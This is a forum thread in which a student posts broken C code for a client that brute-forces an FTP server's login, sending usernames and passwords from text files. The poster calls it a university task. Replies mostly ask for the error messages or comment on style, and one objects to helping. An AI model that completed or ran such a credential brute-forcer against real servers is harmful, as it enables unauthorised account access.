Thread: server client application - (i really need your help)

  1. #1
    Registered User
    Join Date
    Mar 2008
    Posts
    1

    server client application - (i really need your help)

    Hello,

    I have developed a client server application using C.

    i have a list of usernames and a list of passwords in a text file. i need to be able to do 2 loops so i can send the usernames and the passwords to the server and get a response back. basically its a ftp force attack to find the correct username and password. i have written most of the code but i'm kind of strugling to finish it off and sort out the errors. this is a task we have to do for university. i have tried different books and websites and still can't sort out the errors. i really need your help.

    Any advice would be most helpfull

    Code:
    this is the client part:
    
    #include <stdio.h> /* for printf() and fprintf() */
    #include <sys/socket.h> /* for socket(), connect(), send(), and recv() */
    #include <arpa/inet.h> /* for sockaddr_in and inet_addr() */
    #include <stdlib.h> /* for atoi() and exit() */
    #include <string.h> /* for memset() */
    #include <unistd.h> /* for close() */
    
    #define BUFSIZE 4096 /* Size of receive buffer */
    
    void DieWithError(char *errorMessage); /* Error handling function */
    void handeltcpclient(int sock, char *argv[]); /* Server handling function */
    
    int main(int argc, char *argv[])
    {
    int sock; /* Socket descriptor */
    struct sockaddr_in echoServAddr; /* Echo server address */
    unsigned short echoServPort; /* Echo server port */
    char *servIP; /* Server IP address (dotted quad) */
    
    if ((argc < 2) || (argc > 3)) /* Test for correct number of arguments */
    {
    fprintf(stderr, "Usage: %s <Server IP> [<Port>]\n",argv[0]);
    exit(1);
    }
    
    servIP = argv[1]; /* First arg: server IP address (dotted quad) */
    
    if (argc == 3)
    echoServPort = atoi(argv[2]); /* Use given port, if any */
    else
    echoServPort = 21; /* 7 is the well-known port for the echo service */
    
    /* Create a reliable, stream socket using TCP */
    if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    DieWithError("socket() failed");
    
    /* Construct the server address structure */
    memset(&echoServAddr, 0, sizeof(echoServAddr)); /* Zero out structure */
    echoServAddr.sin_family = AF_INET; /* Internet address family */
    echoServAddr.sin_addr.s_addr = inet_addr(servIP); /* Server IP address */
    echoServAddr.sin_port = htons(echoServPort); /* Server port */
    
    /* Establish the connection to the echo server */
    if (connect(sock, (struct sockaddr *) &echoServAddr, sizeof(echoServAddr)) < 0)
    DieWithError("connect() failed");
    
    handeltcpclient(sock, argv);
    
    close(sock);
    }
    
    
    
    this is the handeltcpclient.c
    
    #include <stdio.h> /* for printf() and fprintf() */
    #include <string.h> /* for printf() and fprintf() */
    #include <sys/socket.h> /* for recv() and send() */
    #include <unistd.h> /* for close() */
    
    #define BUFSIZE 4096 /* Size of receive buffer */
    
    void DieWithError(char *errorMessage); /* Error handling function */
    char sendBuf[BUFSIZE]; /* Send Buffer */
    char rcvBuf[BUFSIZE];
    char rcvMsgSize[BUFSIZE];
    char srvBuf[BUFSIZE];
    char clntBuf[BUFSIZE];
    char USER[15];
    char PASS[15];
    FILE *fileuser;
    FILE *filepassword;
    int MsgSize;
    int result;
    char response[3];
    
    void handeltcpclient(int clntSocket)
    {
    
    
    /* Recieve message from client */
    memset(&rcvBuf,0,sizeof(rcvBuf));
    rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
    
    /* Recieve Server Responses */
    memset (&clntBuf,0,sizeof(clntBuf));
    memset (&srvBuf,0,sizeof(srvBuf));
    MsgSize = RecieveMessage(clntSocket,&srvBuf, sizeof(srvBuf));
    
    printf("Recieved: %s" &srvBuf,rcvMsgSize);
    
    response = strncpy(&srvBuf, 3);
    result = strcmp( result, "230");
    if( result == 0)
    {
    sprintf(&clntBuf, "USER %s", USER);
    send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
    DieWithError("send() sent a different number of bytes than expected");
    
    
    printf("Recieved: %s" &srvBuf,messageSize);
    
    
    /* Opening username.txt to selecting USER */
    
    if (fileuser = (fopen ("usernames.txt", "r")) ==NULL)
    {
    printf("Error opening file.\n");
    return 1;
    }
    
    else {
    printf ("File opened.\n");
    while (fgets(USER, 15, file != NULL))
    {
    printf("%s",USER);
    }
    
    /*send USER to server*/
    sprintf(clntBuf, "USER %s", USER);
    
    if ( send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf)))
    DieWithError("send() sent a different number of bytes than expected");
    
    printf("The attemped username was: %s\n");
    return 0;
    
    /* Recieve message from client */
    memset(&rcvBuf,0,sizeof(rcvBuf));
    rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
    
    response = strncpy(&srvBuf, 3);
    result = strcmp( result, "331");
    if( result == 0)
    {
    sprintf(&clntBuf, "PASS %s", PASS);
    send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
    DieWithError("send() sent a different number of bytes than expected");
    
    result = strncpy(&srvBuf, 3);
    result = strcmp(result, "230");
    
    if (result == 0)
    {
    printf("successfully connected.\n");
    {
    sucess ++;
    }
    
    
    /* Opening passwords.txt to selecting PASS */
    (
    if (filepassword = (fopen ("passwords.txt", "r"))==NULL)
    {
    printf("Error opening file.\n");
    return 1;
    }
    (
    else {
    printf ("File opened.\n");
    while (fgets(PASS, 15,file)!=NULL)
    {
    printf("%s",PASS);
    }
    }
    /*send PASS to server*/
    sprintf(clntBuf, "PASS %s", PASS);
    
    if ( send(clntSocket, &clntBuf, strlen(clntBuf), 0) != (strlen(clntBuf)))
    DieWithError("send() sent a different number of bytes than expected");
    
    printf("Closing file.\n");
    fclose(file);
    printf("The attempted password was: %s\n");
    return 0;
    
    }
    
    int RecieveMessage (int s,char *buf, int maxLen)
    {
    int received = 0;
    int rv = 0;
    rv = recv(s, buf+received, 5, 0);
    while ((received < maxLen) && (rv > 0) && *(buf+received) != '\n')
    {
    received += rv;
    rv = recv(s, buf+received, 5, 0);
    }
    if (rv < 0)
    {
    DieWithError("revc() failed");
    }
    return received;
    }
    
    /*end*/
    
    this is the diewitherror.c (error handling file)
    
    #include <stdio.h> /* for perror() */
    #include <stdlib.h> /* for exit() */
    
    void DieWithError(char *errorMessage)
    {
    perror(errorMessage);
    exit(1);
    }

  2. #2
    uint64_t...think positive xuftugulus's Avatar
    Join Date
    Feb 2008
    Location
    Pacem
    Posts
    355
    I don't think this forum would support for such code, even if it was for the university.
    Code:
    ...
        goto johny_walker_red_label;
    johny_walker_blue_label: exit(-149$);
    johny_walker_red_label : exit( -22$);
    A typical example of ...cheap programming practices.

  3. #3
    Registered User VirtualAce's Avatar
    Join Date
    Aug 2001
    Posts
    9,607
    I don't see the errors you are having trouble with. Perhaps posting the errors you are having trouble with would help us assist you.

  4. #4
    Hurry Slowly vart's Avatar
    Join Date
    Oct 2006
    Location
    Rishon LeZion, Israel
    Posts
    6,788
    indentetion never hurts.
    All problems in computer science can be solved by another level of indirection,
    except for the problem of too many layers of indirection.
    – David J. Wheeler

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Problem with client server program...
    By cprogczar in forum C Programming
    Replies: 2
    Last Post: 04-21-2009, 07:56 PM
  2. Client/server problem; server either stops receiving data or client stops sending
    By robot-ic in forum Networking/Device Communication
    Replies: 10
    Last Post: 02-16-2009, 11:45 AM
  3. Server Client Issues
    By Coder87C in forum Networking/Device Communication
    Replies: 1
    Last Post: 07-23-2005, 12:30 PM
  4. Unicode vurses Non Unicode client server application with winsock2 query?
    By dp_76 in forum Networking/Device Communication
    Replies: 0
    Last Post: 05-16-2005, 07:26 AM
  5. Client timed-out once on connect(), can never connect() again
    By registering in forum Networking/Device Communication
    Replies: 6
    Last Post: 10-28-2003, 03:46 PM